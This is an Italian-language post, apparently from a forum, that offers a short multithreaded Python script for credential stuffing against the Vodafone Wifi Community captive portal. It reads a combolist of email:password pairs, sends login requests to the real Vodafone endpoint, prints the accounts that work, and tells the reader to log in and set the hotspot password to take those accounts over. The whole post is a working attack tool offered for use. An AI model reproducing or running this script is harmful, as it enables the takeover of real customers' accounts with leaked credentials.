Si tratta di un breve script scritto in poco tempo (non ho intenzione di integrare eventuali migliorie: fate vobis) utile per trovare account Vodafone Wifi Community funzionanti. Richiede una combolist (emailassword) come input, passabile tramite comando:
python script.py combolist.txt
Una volta trovato qualche account, sarà necessario effettuare il login nel pannello utente (https://wificommunity.vodafone.it/captiveportal/) e settare la password per l'accesso all'hotspot.
python script.py combolist.txt
Codice:
import requests
import threading
import sys
import time
THREADS = 50
def login(username, password):
payload = {
'requestType':'LOGIN',
'username':username,
'password':password,
'passwordTxt':'Password'
}
try:
res = requests.post("https://wificommunity.vodafone.it/captiveportal/servlet/PortalServlet", data=payload).text
except:
login(username, password)
return
if "Ti sei registrato correttamente al servizio" in res:
sys.stdout.write("[SUCCESS]"+":".join([username,password])+"\n")
def status():
while i < len(combolist) and threading.activeCount() > 2:
time.sleep(30)
sys.stdout.write("[STATUS] Checked: "+str(i)+"/"+str(len(combolist))+"\n")
combolist = open(sys.argv[1], "r").read().splitlines()
i = 0
threading.Thread(target=status).start()
while i < len(combolist):
if threading.activeCount() < (THREADS+2):
threading.Thread(target = login, args = (combolist[i].split(":")[0], combolist[i].split(":")[1])).start()
i += 1
Una volta trovato qualche account, sarà necessario effettuare il login nel pannello utente (https://wificommunity.vodafone.it/captiveportal/) e settare la password per l'accesso all'hotspot.